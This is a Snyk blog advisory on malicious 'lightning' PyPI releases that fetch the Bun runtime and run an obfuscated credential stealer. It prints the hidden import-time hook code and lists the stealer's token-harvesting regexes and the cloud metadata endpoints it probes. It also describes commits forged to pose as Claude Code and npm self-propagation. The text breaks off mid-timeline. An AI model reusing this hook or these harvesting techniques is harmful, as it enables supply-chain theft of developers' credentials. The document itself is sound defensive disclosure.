Snyk Blog In this article What's in the malicious package How the malicious wheels reached PyPI How the disclosure unfolded on GitHub Why "Bun in Python" matters Recommended actions What this tells us about the threat model lightning PyPI Compromise: A Bun-Based Credential Stealer in Python Written by Stephen Thoemmes April 30, 2026 0 mins read On April 30, 2026, two malicious releases of the popular lightning PyPI package were published, affecting the deep learning framework formerly distributed as pytorch-lightning . Versions 2.6.2 and 2.6.3 ship a hidden _runtime directory that downloads the Bun JavaScript runtime from GitHub at import time and uses it to execute an ~11 MB obfuscated credential stealer. The last clean release is 2.6.1 , published January 30, 2026. This pattern, where a maintainer's published version is replaced or extended with attacker-supplied code, is what Snyk Learn calls a compromise of a legitimate package . For scope: per pypistats.org , the lightning distribution sees 311,027 downloads per day, 2,051,273 per week, and 7,913,890 per month. The legacy pytorch-lightning package, still installable independently, adds another 436,296 daily downloads on top. PyPI has since quarantined the project; https://pypi.org/pypi/lightning/json returns HTTP 404, and the project page now carries the meta tag <meta name="pypi:project-status" content="quarantined"> . The Wayback Machine snapshot from February 18, 2026 preserves the pre-compromise state, with 2.6.1 as the latest available version. The legacy pytorch-lightning package is unaffected and still resolves to its clean 2.6.1 . Snyk has published advisory SNYK-PYTHON-LIGHTNING-16323121 covering both compromised versions, dated published 30 Apr 2026, disclosed 29 Apr 2026, credit Peter van der Zee , with a CVSS 4.0 base score of 9.3 (Critical) and CWE-506 (Embedded Malicious Code). No CVE has been assigned. The affected releases are flagged by snyk test and listed in the Snyk Security Database . This is the second consecutive day a Bun-based stealer with an ~11 MB obfuscated payload has been published into a Tier 1 ecosystem. Yesterday's Mini Shai-Hulud campaign in npm compromised four SAP-ecosystem packages with the same Bun-loader-plus-large-obfuscated-payload pattern. The lightning payload is a Python-wrapped variant of that approach: rather than translating the JavaScript stealer into native Python, the attackers shipped a thin Python downloader that fetches Bun and runs the same kind of JavaScript blob the npm wave used. What's in the malicious package The compromised wheel preserves the legitimate lightning library files so the framework still imports and runs. The malicious additions live in a hidden _runtime directory inside the wheel, with two key files: start.py (SHA-256 8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2 ): a small Python downloader. It fetches Bun v1.3.13 from https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/<platform>.zip and then executes the stealer payload under that runtime. The Bun version matches the loader observed in yesterday's npm wave, which is one of the more direct technical links between the two incidents. router_runtime.js (SHA-256 5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1 ): an ~11 MB single-line obfuscated JavaScript file. The obfuscation is javascript-obfuscator -style string-array rotation, with a secondary cipher named __decodeScrambled() (PBKDF2/SHA-256, 200,000 iterations, salt ctf-scramble-v2 ). The function name, algorithm, salt, and iteration count are identical to the cipher recovered from the Checkmarx and Bitwarden CLI compromises earlier this year. The 2.6.3 wheel itself, lightning-2.6.3-py3-none-any.whl , has SHA-256 56070a9d8de0c0ffb1ec5c309953cf4679432df5a78df9aeb020fbb73d2be9fb based on a poetry.lock file in the wild that captured the hash before PyPI quarantined the package. The 2.6.2 wheel was quarantined too quickly to be widely pinned; no public lockfile capturing its hash has been located. Execution is wired into module import. The malicious __init__.py adds: 1 def _run_runtime() -> None: 2 _runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime") 3 _start = os.path.join(_runtime_dir, "start.py") 4 if os.path.exists(_start): 5 subprocess.Popen( 6 [sys.executable, _start], 7 cwd=_runtime_dir, 8 stdout=subprocess.DEVNULL, 9 stderr=subprocess.DEVNULL, 10 ) 11 12 threading.Thread(target=_run_runtime, daemon=True).start() When a Python process runs import lightning , the daemon thread invokes the Bun-launched payload in the background with stdout and stderr suppressed. There is no separate command, no postinstall analog, and no visible side effect. Any environment that imported lightning==2.6.2 or lightning==2.6.3 , including a one-off python -c "import lightning" in a notebook or a CI step that loads the framework to read its version, should be treated as exposed. The payload runs in three observable stages: Credential harvesting with regex patterns for GitHub OAuth/PATs ( /gh[op]_[A-Za-z0-9]{36,}/g ), npm tokens ( /npm_[A-Za-z0-9]{36,}/g ), and GitHub App JWTs ( /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g ). It also probes cloud metadata services at http://169.254.169.254 (AWS IMDS), http://169.254.170.2 (AWS ECS), https://oauth2.googleapis.com/tokeninfo , and validates harvested tokens against https://api.github.com/user and https://registry.npmjs.org/-/whoami . Repository poisoning through GitHub's GraphQL createCommitOnBranch mutation, signing commits as claude <claude@users.noreply.github.com> with a Co-authored-by: trailer to mask malicious changes as Anthropic Claude Code activity. Files dropped into victim repos include .claude/router_runtime.js , .claude/settings.json , .claude/setup.mjs , .vscode/tasks.json , .vscode/setup.mjs , and .github/workflows/format-check.yml . npm tarball worm code paths that mutate local package tarballs on a developer machine, inject setup.mjs , bump the patch version, and publish via direct PUT to registry.npmjs.org without invoking the npm CLI. This is the same self-propagation logic Snyk documented yesterday in the Mini Shai-Hulud npm wave. The malicious wheel does not appear to alter the public lightning API surface, which is consistent with the attacker's interest in keeping the package installable and importable for as long as possible before takedown. How the malicious wheels reached PyPI The lightning project's release-pkg.yml workflow publishes to PyPI using a long-lived stored API token ( secrets.PYPI_TOKEN_LIGHTNING ) via pypa/gh-action-pypi-publish configured with user: __token__ . There is no PyPI Trusted Publisher (OIDC) configured for this project. A separate fix_package_publishing branch from March 19, never merged, explicitly removed permissions: id-token: write from the publish step. This matters because the publish path that delivered the malicious wheels was almost certainly the stored token itself, not the GitHub Actions workflow. Two pieces of evidence support that: The 2.6.2 git tag exists on Lightning-AI/pytorch-lightning and was created on March 19 by justusschock , but the corresponding release-pkg workflow run failed at the publish-packages step. Issue #21681 (filed April 20, "Release 2.6.2 is missing on PyPI" ) confirms that 2.6.2 was absent from PyPI for six weeks afterward. The 2.6.3 git tag does not exist at all. There is no refs/tags/2.6.3 , no GitHub Release, and no workflow run associated with that version. Yet a wheel for lightning==2.6.3 was published on PyPI today. The simplest reading is that the attacker held PYPI_TOKEN_LIGHTNING (long-lived, no audience binding, no per-publish approval gate) and uploaded both wheels directly to PyPI with twine or an equivalent client, without going through the GitHub Actions workflow. The six-week PyPI absence created cover: a developer waiting for the long-delayed 2.6.2 release would have no obvious reason to suspect it. This is the same structural pattern documented in SAP's post-incident PR yesterday on cap-js/cds-dbs , where the publishing workflow held publish permissions without a manual approval gate. How the disclosure unfolded on GitHub The disclosure timeline is unusually visible because the maintainer-side service account that suppressed inbound issues kept its events/public feed exposed. The pl-ghost GitHub account (created 2020-12-01T15:50:40Z , company field "PyTorchLightning & Grid.ai" ) is a long-running CI service account, not a developer account. Its 40 prior commits on Lightning-AI/pytorch-lightning are all formulaic ( "Adding test for legacy checkpoint created with X.Y.Z" or "docs: update ref to latest tutorials" ), and its PAT_GHOST Personal Access Token is referenced in release-pkg.yml to push cross-repo updates to gridai/base-images after each release. By design, the account's token has cross-repo write access for those automated steps. Today, between 12:40Z and 14:12Z, four community members filed disclosure issues on Lightning-AI/pytorch-lightning and pl-ghost closed each of them within minutes. The full sequence, taken from the /users/pl-ghost/events/public feed: ISO timestamp Action Detail 2026-04-30T12:40:28Z Create / Delete branch pgzicpysge on Lightning-AI/litAI 2026-04-30T12:42:57Z Create / Delete branch hwofzwmrto on Lightning-AI/utilities 2026-04-30T13:13:57Z Issue filed #21689 by nullcharb , "Possible supply chain attack on version 2.6.3" 2026-04-30T13:27:01Z Issue closed #21689 closed by pl-ghost 2026-04-30T13:32:35Z Issue filed #21690 by pvdz , "Looks like lighting got compromised, maybe shai hulud?" 2026-04-30T13:34:54Z Create / Delete branch uwpkpcguba on Lightning-AI/litAI 2026-04-30T13:43:57Z Create / Delete branch dependabot/fix-deds on Lightning-AI/torchmetrics 2026-04-30T13:47:23Z Issue closed #21690 closed by pl-ghost 2026-04-30T13:59:28Z Issue filed #21691 by pvdz , "2.6.2 and 2.6.3 was compromised, probably shai, pl-ghost may also be compromised?" 2026-04-3